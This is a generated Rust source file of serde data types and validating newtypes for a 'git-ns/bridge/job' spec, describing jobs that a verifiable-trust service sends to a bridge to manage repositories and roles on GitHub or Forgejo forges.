//! Generated by `trust-tasks-codegen` — do not edit by hand.
//!
//! Spec slug: `git-ns/bridge/job`. Version: `0.4`.
#[allow(unused_imports)]
use serde::{Deserialize, Serialize};
/// Error types.
pub mod error {
/// Error from a `TryFrom` or `FromStr` implementation.
pub struct ConversionError(::std::borrow::Cow<'static, str>);
impl ::std::error::Error for ConversionError {}
impl ::std::fmt::Display for ConversionError {
fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> Result<(), ::std::fmt::Error> {
::std::fmt::Display::fmt(&self.0, f)
}
}
impl ::std::fmt::Debug for ConversionError {
fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> Result<(), ::std::fmt::Error> {
::std::fmt::Debug::fmt(&self.0, f)
}
}
impl From<&'static str> for ConversionError {
fn from(value: &'static str) -> Self {
Self(value.into())
}
}
impl From<String> for ConversionError {
fn from(value: String) -> Self {
Self(value.into())
}
}
}
///The forge owner whose control the binding admin is to prove.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "title": "BindTarget",
/// "description": "The forge owner whose control the binding admin is to prove.",
/// "type": "object",
/// "required": [
/// "forge",
/// "owner"
/// ],
/// "properties": {
/// "forge": {
/// "$ref": "#/definitions/ForgeHost"
/// },
/// "owner": {
/// "$ref": "#/definitions/Segment"
/// }
/// },
/// "additionalProperties": false
///}
/// ```
/// </details>
#[derive(::serde::Deserialize, ::serde::Serialize, Clone, Debug)]
#[serde(deny_unknown_fields)]
#[non_exhaustive]
pub struct BindTarget {
pub forge: ForgeHost,
pub owner: Segment,
}
impl BindTarget {
pub fn builder() -> builder::BindTarget {
Default::default()
}
}
///`DesiredRole`
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "type": "object",
/// "required": [
/// "account",
/// "right",
/// "subject"
/// ],
/// "properties": {
/// "account": {
/// "description": "The subject's linked account on this namespace's forge.",
/// "$ref": "#/definitions/ForgeAccount"
/// },
/// "right": {
/// "description": "The highest right recorded for the subject on the repository, or `git.commit.sign` recorded on its namespace — never one held only because `git.ns.admin` implies it. A namespace admin with no right of their own there is listed as `git.ns.admin`, which every forge adapter maps to no role. The forge adapter maps the right to one of its roles.",
/// "$ref": "#/definitions/Right"
/// },
/// "subject": {
/// "$ref": "#/definitions/Did"
/// }
/// },
/// "additionalProperties": false
///}
/// ```
/// </details>
#[derive(::serde::Deserialize, ::serde::Serialize, Clone, Debug)]
#[serde(deny_unknown_fields)]
#[non_exhaustive]
pub struct DesiredRole {
///The subject's linked account on this namespace's forge.
pub account: ForgeAccount,
///The highest right recorded for the subject on the repository, or `git.commit.sign` recorded on its namespace — never one held only because `git.ns.admin` implies it. A namespace admin with no right of their own there is listed as `git.ns.admin`, which every forge adapter maps to no role. The forge adapter maps the right to one of its roles.
pub right: Right,
pub subject: Did,
}
impl DesiredRole {
pub fn builder() -> builder::DesiredRole {
Default::default()
}
}
///A bare DID in the W3C DID Core syntax (§3.1): `did:`, a method name of lowercase letters and digits, `:`, and a method-specific id of colon-separated segments drawn from `A-Z a-z 0-9 . - _` and percent-encoded octets, the last segment non-empty. A DID URL is not a DID: no path, query or fragment (`/`, `?`, `#`), so a verification-method id such as `did:key:z6Mk…#z6Mk…` is refused. Compared by exact string equality — no case folding or percent-decoding. A consumer MUST still treat the value as data: the pattern keeps shell metacharacters, whitespace and quotes out of the wire form, but it does not make a DID safe to splice into a command or markup.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "title": "Did",
/// "description": "A bare DID in the W3C DID Core syntax (§3.1): `did:`, a method name of lowercase letters and digits, `:`, and a method-specific id of colon-separated segments drawn from `A-Z a-z 0-9 . - _` and percent-encoded octets, the last segment non-empty. A DID URL is not a DID: no path, query or fragment (`/`, `?`, `#`), so a verification-method id such as `did:key:z6Mk…#z6Mk…` is refused. Compared by exact string equality — no case folding or percent-decoding. A consumer MUST still treat the value as data: the pattern keeps shell metacharacters, whitespace and quotes out of the wire form, but it does not make a DID safe to splice into a command or markup.",
/// "type": "string",
/// "maxLength": 2048,
/// "pattern": "^did:[a-z0-9]+:(?:(?:[A-Za-z0-9._-]|%[0-9A-Fa-f]{2})*:)*(?:[A-Za-z0-9._-]|%[0-9A-Fa-f]{2})+$"
///}
/// ```
/// </details>
#[derive(::serde::Serialize, Clone, Debug, Eq, Hash, Ord, PartialEq, PartialOrd)]
#[serde(transparent)]
pub struct Did(::std::string::String);
impl ::std::ops::Deref for Did {
type Target = ::std::string::String;
fn deref(&self) -> &::std::string::String {
&self.0
}
}
impl ::std::convert::From<Did> for ::std::string::String {
fn from(value: Did) -> Self {
value.0
}
}
impl ::std::str::FromStr for Did {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
if value.chars().count() > 2048usize {
return Err("longer than 2048 characters".into());
}
static PATTERN: ::std::sync::LazyLock<::regress::Regex> = ::std::sync::LazyLock::new(
|| {
::regress::Regex::new(
"^did:[a-z0-9]+:(?:(?:[A-Za-z0-9._-]|%[0-9A-Fa-f]{2})*:)*(?:[A-Za-z0-9._-]|%[0-9A-Fa-f]{2})+$",
)
.unwrap()
},
);
if PATTERN.find(value).is_none() {
return Err(
"doesn't match pattern \"^did:[a-z0-9]+:(?:(?:[A-Za-z0-9._-]|%[0-9A-Fa-f]{2})*:)*(?:[A-Za-z0-9._-]|%[0-9A-Fa-f]{2})+$\""
.into(),
);
}
Ok(Self(value.to_string()))
}
}
impl ::std::convert::TryFrom<&str> for Did {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for Did {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for Did {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl<'de> ::serde::Deserialize<'de> for Did {
fn deserialize<D>(deserializer: D) -> ::std::result::Result<Self, D::Error>
where
D: ::serde::Deserializer<'de>,
{
::std::string::String::deserialize(deserializer)?
.parse()
.map_err(|e: self::error::ConversionError| {
<D::Error as ::serde::de::Error>::custom(e.to_string())
})
}
}
///Vendor-namespaced extension object per SPEC.md §4.5.1. Each immediate key MUST be a reverse-DNS namespace; structure under each namespace is opaque to the framework.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "title": "Ext",
/// "description": "Vendor-namespaced extension object per SPEC.md §4.5.1. Each immediate key MUST be a reverse-DNS namespace; structure under each namespace is opaque to the framework.",
/// "type": "object",
/// "minProperties": 1,
/// "additionalProperties": true,
/// "propertyNames": {
/// "pattern": "^[a-z][a-z0-9-]*(\\.[a-z0-9-]+)+$"
/// }
///}
/// ```
/// </details>
#[derive(::serde::Deserialize, ::serde::Serialize, Clone, Debug)]
#[serde(transparent)]
pub struct Ext(pub ::std::collections::HashMap<ExtKey, ::serde_json::Value>);
impl ::std::ops::Deref for Ext {
type Target = ::std::collections::HashMap<ExtKey, ::serde_json::Value>;
fn deref(&self) -> &::std::collections::HashMap<ExtKey, ::serde_json::Value> {
&self.0
}
}
impl ::std::convert::From<Ext> for ::std::collections::HashMap<ExtKey, ::serde_json::Value> {
fn from(value: Ext) -> Self {
value.0
}
}
impl ::std::convert::From<::std::collections::HashMap<ExtKey, ::serde_json::Value>> for Ext {
fn from(value: ::std::collections::HashMap<ExtKey, ::serde_json::Value>) -> Self {
Self(value)
}
}
///`ExtKey`
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "type": "string",
/// "pattern": "^[a-z][a-z0-9-]*(\\.[a-z0-9-]+)+$"
///}
/// ```
/// </details>
#[derive(::serde::Serialize, Clone, Debug, Eq, Hash, Ord, PartialEq, PartialOrd)]
#[serde(transparent)]
pub struct ExtKey(::std::string::String);
impl ::std::ops::Deref for ExtKey {
type Target = ::std::string::String;
fn deref(&self) -> &::std::string::String {
&self.0
}
}
impl ::std::convert::From<ExtKey> for ::std::string::String {
fn from(value: ExtKey) -> Self {
value.0
}
}
impl ::std::str::FromStr for ExtKey {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
static PATTERN: ::std::sync::LazyLock<::regress::Regex> =
::std::sync::LazyLock::new(|| {
::regress::Regex::new("^[a-z][a-z0-9-]*(\\.[a-z0-9-]+)+$").unwrap()
});
if PATTERN.find(value).is_none() {
return Err("doesn't match pattern \"^[a-z][a-z0-9-]*(\\.[a-z0-9-]+)+$\"".into());
}
Ok(Self(value.to_string()))
}
}
impl ::std::convert::TryFrom<&str> for ExtKey {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for ExtKey {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for ExtKey {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl<'de> ::serde::Deserialize<'de> for ExtKey {
fn deserialize<D>(deserializer: D) -> ::std::result::Result<Self, D::Error>
where
D: ::serde::Deserializer<'de>,
{
::std::string::String::deserialize(deserializer)?
.parse()
.map_err(|e: self::error::ConversionError| {
<D::Error as ::serde::de::Error>::custom(e.to_string())
})
}
}
///A person's account on one forge. `id` is authoritative; `login` is for display only, because logins can be renamed and re-registered.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "title": "ForgeAccount",
/// "description": "A person's account on one forge. `id` is authoritative; `login` is for display only, because logins can be renamed and re-registered.",
/// "type": "object",
/// "required": [
/// "forge",
/// "id",
/// "login"
/// ],
/// "properties": {
/// "forge": {
/// "$ref": "#/definitions/ForgeHost"
/// },
/// "id": {
/// "$ref": "#/definitions/ForgeId"
/// },
/// "login": {
/// "description": "The account's current login, as the forge reported it when last seen. Display only.",
/// "type": "string",
/// "maxLength": 100,
/// "minLength": 1
/// }
/// },
/// "additionalProperties": false
///}
/// ```
/// </details>
#[derive(::serde::Deserialize, ::serde::Serialize, Clone, Debug)]
#[serde(deny_unknown_fields)]
#[non_exhaustive]
pub struct ForgeAccount {
pub forge: ForgeHost,
pub id: ForgeId,
///The account's current login, as the forge reported it when last seen. Display only.
pub login: ForgeAccountLogin,
}
impl ForgeAccount {
pub fn builder() -> builder::ForgeAccount {
Default::default()
}
}
///The account's current login, as the forge reported it when last seen. Display only.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "description": "The account's current login, as the forge reported it when last seen. Display only.",
/// "type": "string",
/// "maxLength": 100,
/// "minLength": 1
///}
/// ```
/// </details>
#[derive(::serde::Serialize, Clone, Debug, Eq, Hash, Ord, PartialEq, PartialOrd)]
#[serde(transparent)]
pub struct ForgeAccountLogin(::std::string::String);
impl ::std::ops::Deref for ForgeAccountLogin {
type Target = ::std::string::String;
fn deref(&self) -> &::std::string::String {
&self.0
}
}
impl ::std::convert::From<ForgeAccountLogin> for ::std::string::String {
fn from(value: ForgeAccountLogin) -> Self {
value.0
}
}
impl ::std::str::FromStr for ForgeAccountLogin {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
if value.chars().count() > 100usize {
return Err("longer than 100 characters".into());
}
if value.chars().count() < 1usize {
return Err("shorter than 1 characters".into());
}
Ok(Self(value.to_string()))
}
}
impl ::std::convert::TryFrom<&str> for ForgeAccountLogin {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for ForgeAccountLogin {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for ForgeAccountLogin {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl<'de> ::serde::Deserialize<'de> for ForgeAccountLogin {
fn deserialize<D>(deserializer: D) -> ::std::result::Result<Self, D::Error>
where
D: ::serde::Deserializer<'de>,
{
::std::string::String::deserialize(deserializer)?
.parse()
.map_err(|e: self::error::ConversionError| {
<D::Error as ::serde::de::Error>::custom(e.to_string())
})
}
}
///The lowercased DNS host of a forge: `github.com`, a GitHub Enterprise Server host, `codeberg.org`, or a self-hosted Forgejo instance such as `git.example.org`. No scheme, no port, no path. The host is a segment of every resource, so a right never crosses forges.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "title": "ForgeHost",
/// "description": "The lowercased DNS host of a forge: `github.com`, a GitHub Enterprise Server host, `codeberg.org`, or a self-hosted Forgejo instance such as `git.example.org`. No scheme, no port, no path. The host is a segment of every resource, so a right never crosses forges.",
/// "type": "string",
/// "maxLength": 253,
/// "minLength": 3,
/// "pattern": "^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(?:\\.[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)+$"
///}
/// ```
/// </details>
#[derive(::serde::Serialize, Clone, Debug, Eq, Hash, Ord, PartialEq, PartialOrd)]
#[serde(transparent)]
pub struct ForgeHost(::std::string::String);
impl ::std::ops::Deref for ForgeHost {
type Target = ::std::string::String;
fn deref(&self) -> &::std::string::String {
&self.0
}
}
impl ::std::convert::From<ForgeHost> for ::std::string::String {
fn from(value: ForgeHost) -> Self {
value.0
}
}
impl ::std::str::FromStr for ForgeHost {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
if value.chars().count() > 253usize {
return Err("longer than 253 characters".into());
}
if value.chars().count() < 3usize {
return Err("shorter than 3 characters".into());
}
static PATTERN: ::std::sync::LazyLock<::regress::Regex> =
::std::sync::LazyLock::new(|| {
::regress::Regex::new(
"^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(?:\\.[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)+$",
)
.unwrap()
});
if PATTERN.find(value).is_none() {
return Err(
"doesn't match pattern \"^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(?:\\.[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)+$\""
.into(),
);
}
Ok(Self(value.to_string()))
}
}
impl ::std::convert::TryFrom<&str> for ForgeHost {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for ForgeHost {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for ForgeHost {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl<'de> ::serde::Deserialize<'de> for ForgeHost {
fn deserialize<D>(deserializer: D) -> ::std::result::Result<Self, D::Error>
where
D: ::serde::Deserializer<'de>,
{
::std::string::String::deserialize(deserializer)?
.parse()
.map_err(|e: self::error::ConversionError| {
<D::Error as ::serde::de::Error>::custom(e.to_string())
})
}
}
///An identifier the forge itself assigns — a repository id, a user or organisation id — carried as a string so a forge whose ids are not numbers needs no new version. GitHub and Forgejo ids are decimal integers written as strings (`"812736451"`). Unlike a name, it survives renames and transfers, which is why rights and bindings are keyed by it.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "title": "ForgeId",
/// "description": "An identifier the forge itself assigns — a repository id, a user or organisation id — carried as a string so a forge whose ids are not numbers needs no new version. GitHub and Forgejo ids are decimal integers written as strings (`\"812736451\"`). Unlike a name, it survives renames and transfers, which is why rights and bindings are keyed by it.",
/// "type": "string",
/// "maxLength": 64,
/// "minLength": 1
///}
/// ```
/// </details>
#[derive(::serde::Serialize, Clone, Debug, Eq, Hash, Ord, PartialEq, PartialOrd)]
#[serde(transparent)]
pub struct ForgeId(::std::string::String);
impl ::std::ops::Deref for ForgeId {
type Target = ::std::string::String;
fn deref(&self) -> &::std::string::String {
&self.0
}
}
impl ::std::convert::From<ForgeId> for ::std::string::String {
fn from(value: ForgeId) -> Self {
value.0
}
}
impl ::std::str::FromStr for ForgeId {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
if value.chars().count() > 64usize {
return Err("longer than 64 characters".into());
}
if value.chars().count() < 1usize {
return Err("shorter than 1 characters".into());
}
Ok(Self(value.to_string()))
}
}
impl ::std::convert::TryFrom<&str> for ForgeId {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for ForgeId {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for ForgeId {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl<'de> ::serde::Deserialize<'de> for ForgeId {
fn deserialize<D>(deserializer: D) -> ::std::result::Result<Self, D::Error>
where
D: ::serde::Deserializer<'de>,
{
::std::string::String::deserialize(deserializer)?
.parse()
.map_err(|e: self::error::ConversionError| {
<D::Error as ::serde::de::Error>::custom(e.to_string())
})
}
}
///The VTC's identifier for a job, unique across the VTC's jobs.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "description": "The VTC's identifier for a job, unique across the VTC's jobs.",
/// "type": "string",
/// "maxLength": 128,
/// "minLength": 1
///}
/// ```
/// </details>
#[derive(::serde::Serialize, Clone, Debug, Eq, Hash, Ord, PartialEq, PartialOrd)]
#[serde(transparent)]
pub struct JobId(::std::string::String);
impl ::std::ops::Deref for JobId {
type Target = ::std::string::String;
fn deref(&self) -> &::std::string::String {
&self.0
}
}
impl ::std::convert::From<JobId> for ::std::string::String {
fn from(value: JobId) -> Self {
value.0
}
}
impl ::std::str::FromStr for JobId {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
if value.chars().count() > 128usize {
return Err("longer than 128 characters".into());
}
if value.chars().count() < 1usize {
return Err("shorter than 1 characters".into());
}
Ok(Self(value.to_string()))
}
}
impl ::std::convert::TryFrom<&str> for JobId {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for JobId {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for JobId {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl<'de> ::serde::Deserialize<'de> for JobId {
fn deserialize<D>(deserializer: D) -> ::std::result::Result<Self, D::Error>
where
D: ::serde::Deserializer<'de>,
{
::std::string::String::deserialize(deserializer)?
.parse()
.map_err(|e: self::error::ConversionError| {
<D::Error as ::serde::de::Error>::custom(e.to_string())
})
}
}
///The VTC's opaque identifier for a namespace, assigned when it is bound. Stable for the life of the binding; never reused for another binding.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "title": "NamespaceId",
/// "description": "The VTC's opaque identifier for a namespace, assigned when it is bound. Stable for the life of the binding; never reused for another binding.",
/// "type": "string",
/// "maxLength": 128,
/// "minLength": 1
///}
/// ```
/// </details>
#[derive(::serde::Serialize, Clone, Debug, Eq, Hash, Ord, PartialEq, PartialOrd)]
#[serde(transparent)]
pub struct NamespaceId(::std::string::String);
impl ::std::ops::Deref for NamespaceId {
type Target = ::std::string::String;
fn deref(&self) -> &::std::string::String {
&self.0
}
}
impl ::std::convert::From<NamespaceId> for ::std::string::String {
fn from(value: NamespaceId) -> Self {
value.0
}
}
impl ::std::str::FromStr for NamespaceId {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
if value.chars().count() > 128usize {
return Err("longer than 128 characters".into());
}
if value.chars().count() < 1usize {
return Err("shorter than 1 characters".into());
}
Ok(Self(value.to_string()))
}
}
impl ::std::convert::TryFrom<&str> for NamespaceId {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for NamespaceId {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for NamespaceId {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl<'de> ::serde::Deserialize<'de> for NamespaceId {
fn deserialize<D>(deserializer: D) -> ::std::result::Result<Self, D::Error>
where
D: ::serde::Deserializer<'de>,
{
::std::string::String::deserialize(deserializer)?
.parse()
.map_err(|e: self::error::ConversionError| {
<D::Error as ::serde::de::Error>::custom(e.to_string())
})
}
}
///The VTC asks its bridge to do one piece of forge work in a namespace. The job names what to do (`kind`) and carries the desired state, never forge credentials — the bridge holds those. Which optional members a job carries is fixed by its `kind` (see the specification's kind table); a bridge refuses a job that carries a member its kind does not use, or lacks one its kind requires.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "$id": "https://trusttasks.org/spec/git-ns/bridge/job/0.4",
/// "title": "Payload",
/// "description": "The VTC asks its bridge to do one piece of forge work in a namespace. The job names what to do (`kind`) and carries the desired state, never forge credentials — the bridge holds those. Which optional members a job carries is fixed by its `kind` (see the specification's kind table); a bridge refuses a job that carries a member its kind does not use, or lacks one its kind requires.",
/// "type": "object",
/// "required": [
/// "jobId",
/// "kind",
/// "namespace"
/// ],
/// "properties": {
/// "desiredRoles": {
/// "description": "The complete set of people the projection reaches on the repository, each at the one right they are projected at. The bridge converges to exactly this set among the roles it manages: it adds or changes roles to match and removes managed roles not listed. Each forge account (by `forge` and `id`) appears at most once. `projectRoles` and `createRepo` only.",
/// "type": "array",
/// "items": {
/// "$ref": "#/definitions/DesiredRole"
/// },
/// "uniqueItems": true
/// },
/// "ext": {
/// "$ref": "#/definitions/Ext"
/// },
/// "jobId": {
/// "description": "The VTC's identifier for this job. The bridge reports on it with git-ns/bridge/result.",
/// "$ref": "#/definitions/JobId"
/// },
/// "kind": {
/// "description": "What to do. `projectRoles` — converge forge roles to `desiredRoles`, and remove whatever role each of `removeAccounts` holds on `repo`. `createRepo` — create `repo`, run the bootstrap plan, and project `desiredRoles`. `bootstrap` — run the bootstrap plan, or the listed `steps` of it, on an existing `repo`. `archive` — archive `repo`. `inspect` — compare the forge with the projection for `repo`, or for the whole namespace. `beginBind` — start the proof that the binding admin controls `target`. `beginAccountLink` — start linking `subject`'s account on this namespace's forge.",
/// "type": "string",
/// "enum": [
/// "projectRoles",
/// "createRepo",
/// "bootstrap",
/// "archive",
/// "inspect",
/// "beginBind",
/// "beginAccountLink"
/// ]
/// },
/// "namespace": {
/// "description": "The namespace the job acts in. It also selects the bridge's forge credentials for it.",
/// "$ref": "#/definitions/NamespaceId"
/// },
/// "removeAccounts": {
/// "description": "Accounts whose direct role on `repo` the bridge removes, whatever that role is — including a role the bridge does not manage and would otherwise only report as drift. Matched by `forge` and `id`; `login` is display only. No account listed here may also appear in `desiredRoles`, except at `git.ns.admin`. `projectRoles` only.",
/// "type": "array",
/// "items": {
/// "$ref": "#/definitions/ForgeAccount"
/// },
/// "minItems": 1,
/// "uniqueItems": true
/// },
/// "repo": {
/// "description": "The repository. Required for `projectRoles`, `createRepo`, `bootstrap` and `archive`: there is no namespace-level `projectRoles`, because no right projects to an organisation's own roles. For `inspect`, absent means a sweep of every repository in the namespace.",
/// "$ref": "#/definitions/RepoResource"
/// },
/// "spec": {
/// "description": "How to create the repository. `createRepo` only.",
/// "$ref": "#/definitions/RepoSpec"
/// },
/// "steps": {
/// "description": "Run only these steps of the adapter's bootstrap plan, in the plan's order. Absent: the whole plan. `bootstrap` only.",
/// "type": "array",
/// "items": {
/// "$ref": "#/definitions/StepName"
/// },
/// "minItems": 1,
/// "uniqueItems": true
/// },
/// "subject": {
/// "description": "The member whose forge account is being linked. `beginAccountLink` only.",
/// "$ref": "#/definitions/Did"
/// },
/// "target": {
/// "description": "`beginBind` only.",
/// "$ref": "#/definitions/BindTarget"
/// }
/// },
/// "additionalProperties": false
///}
/// ```
/// </details>
#[derive(::serde::Deserialize, ::serde::Serialize, Clone, Debug)]
#[serde(deny_unknown_fields)]
#[non_exhaustive]
pub struct Payload {
///The complete set of people the projection reaches on the repository, each at the one right they are projected at. The bridge converges to exactly this set among the roles it manages: it adds or changes roles to match and removes managed roles not listed. Each forge account (by `forge` and `id`) appears at most once. `projectRoles` and `createRepo` only.
#[serde(
rename = "desiredRoles",
default,
skip_serializing_if = "::std::option::Option::is_none"
)]
pub desired_roles: ::std::option::Option<Vec<DesiredRole>>,
#[serde(default, skip_serializing_if = "::std::option::Option::is_none")]
pub ext: ::std::option::Option<Ext>,
///The VTC's identifier for this job. The bridge reports on it with git-ns/bridge/result.
#[serde(rename = "jobId")]
pub job_id: JobId,
///What to do. `projectRoles` — converge forge roles to `desiredRoles`, and remove whatever role each of `removeAccounts` holds on `repo`. `createRepo` — create `repo`, run the bootstrap plan, and project `desiredRoles`. `bootstrap` — run the bootstrap plan, or the listed `steps` of it, on an existing `repo`. `archive` — archive `repo`. `inspect` — compare the forge with the projection for `repo`, or for the whole namespace. `beginBind` — start the proof that the binding admin controls `target`. `beginAccountLink` — start linking `subject`'s account on this namespace's forge.
pub kind: PayloadKind,
///The namespace the job acts in. It also selects the bridge's forge credentials for it.
pub namespace: NamespaceId,
///Accounts whose direct role on `repo` the bridge removes, whatever that role is — including a role the bridge does not manage and would otherwise only report as drift. Matched by `forge` and `id`; `login` is display only. No account listed here may also appear in `desiredRoles`, except at `git.ns.admin`. `projectRoles` only.
#[serde(
rename = "removeAccounts",
default,
skip_serializing_if = "::std::option::Option::is_none"
)]
pub remove_accounts: ::std::option::Option<Vec<ForgeAccount>>,
///The repository. Required for `projectRoles`, `createRepo`, `bootstrap` and `archive`: there is no namespace-level `projectRoles`, because no right projects to an organisation's own roles. For `inspect`, absent means a sweep of every repository in the namespace.
#[serde(default, skip_serializing_if = "::std::option::Option::is_none")]
pub repo: ::std::option::Option<RepoResource>,
///How to create the repository. `createRepo` only.
#[serde(default, skip_serializing_if = "::std::option::Option::is_none")]
pub spec: ::std::option::Option<RepoSpec>,
///Run only these steps of the adapter's bootstrap plan, in the plan's order. Absent: the whole plan. `bootstrap` only.
#[serde(default, skip_serializing_if = "::std::option::Option::is_none")]
pub steps: ::std::option::Option<Vec<StepName>>,
///The member whose forge account is being linked. `beginAccountLink` only.
#[serde(default, skip_serializing_if = "::std::option::Option::is_none")]
pub subject: ::std::option::Option<Did>,
///`beginBind` only.
#[serde(default, skip_serializing_if = "::std::option::Option::is_none")]
pub target: ::std::option::Option<BindTarget>,
}
impl Payload {
pub fn builder() -> builder::Payload {
Default::default()
}
}
///What to do. `projectRoles` — converge forge roles to `desiredRoles`, and remove whatever role each of `removeAccounts` holds on `repo`. `createRepo` — create `repo`, run the bootstrap plan, and project `desiredRoles`. `bootstrap` — run the bootstrap plan, or the listed `steps` of it, on an existing `repo`. `archive` — archive `repo`. `inspect` — compare the forge with the projection for `repo`, or for the whole namespace. `beginBind` — start the proof that the binding admin controls `target`. `beginAccountLink` — start linking `subject`'s account on this namespace's forge.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "description": "What to do. `projectRoles` — converge forge roles to `desiredRoles`, and remove whatever role each of `removeAccounts` holds on `repo`. `createRepo` — create `repo`, run the bootstrap plan, and project `desiredRoles`. `bootstrap` — run the bootstrap plan, or the listed `steps` of it, on an existing `repo`. `archive` — archive `repo`. `inspect` — compare the forge with the projection for `repo`, or for the whole namespace. `beginBind` — start the proof that the binding admin controls `target`. `beginAccountLink` — start linking `subject`'s account on this namespace's forge.",
/// "type": "string",
/// "enum": [
/// "projectRoles",
/// "createRepo",
/// "bootstrap",
/// "archive",
/// "inspect",
/// "beginBind",
/// "beginAccountLink"
/// ]
///}
/// ```
/// </details>
#[derive(
::serde::Deserialize,
::serde::Serialize,
Clone,
Copy,
Debug,
Eq,
Hash,
Ord,
PartialEq,
PartialOrd,
)]
#[non_exhaustive]
pub enum PayloadKind {
#[serde(rename = "projectRoles")]
ProjectRoles,
#[serde(rename = "createRepo")]
CreateRepo,
#[serde(rename = "bootstrap")]
Bootstrap,
#[serde(rename = "archive")]
Archive,
#[serde(rename = "inspect")]
Inspect,
#[serde(rename = "beginBind")]
BeginBind,
#[serde(rename = "beginAccountLink")]
BeginAccountLink,
}
impl ::std::fmt::Display for PayloadKind {
fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result {
match *self {
Self::ProjectRoles => f.write_str("projectRoles"),
Self::CreateRepo => f.write_str("createRepo"),
Self::Bootstrap => f.write_str("bootstrap"),
Self::Archive => f.write_str("archive"),
Self::Inspect => f.write_str("inspect"),
Self::BeginBind => f.write_str("beginBind"),
Self::BeginAccountLink => f.write_str("beginAccountLink"),
}
}
}
